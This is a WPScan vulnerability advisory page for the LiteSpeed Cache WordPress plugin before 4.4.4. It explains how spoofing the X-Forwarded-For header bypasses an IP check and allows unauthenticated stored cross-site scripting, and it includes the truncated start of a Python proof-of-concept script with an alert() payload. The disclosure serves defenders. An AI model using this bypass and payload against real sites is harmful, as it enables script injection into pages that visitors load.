Lucene search

K
wpvulndbEmil KylanderWPVDB-ID:E9966B3E-2EB9-4D70-8C18-6A829B4827CC
HistoryNov 30, 2021 - 12:00 a.m.

LiteSpeed Cache < 4.4.4 - IP Check Bypass to Unauthenticated Stored XSS

2021-11-3000:00:00
Emil Kylander
wpscan.com
42
litespeed cache
ip check bypass
unauthenticated stored xss
verification issue
css code
cross-site scripting
page optimization.

EPSS

0.002

Percentile

55.2%

The plugin does not properly verify that requests are coming from QUIC.cloud servers, allowing attackers to make requests to certain endpoints by using a specific X-Forwarded-For header value. In addition, one of the endpoint could be used to set CSS code if a setting is enabled, which will then be output in some pages without being sanitised and escaped. Combining those two issues, an unauthenticated attacker could put Cross-Site Scripting payloads in pages visited by users.

PoC

The “Load CSS Asynchronously” setting in the Page Optimization (/wp-admin/admin.php?page=litespeed-page_optm) needs to be turned on for this to work #!/bin/python3 import requests import json def get_whitelist_ips(): return requests.get(“https://quic.cloud/ips”, verify=False).text print(“[+] Getting the whitelisted ips…”) whitelist_ip = get_whitelist_ips().split("
“)[0] print(f”[+] Using {whitelist_ip}") payload = "alert(/XSS-cache/);

EPSS

0.002

Percentile

55.2%

Related for WPVDB-ID:E9966B3E-2EB9-4D70-8C18-6A829B4827CC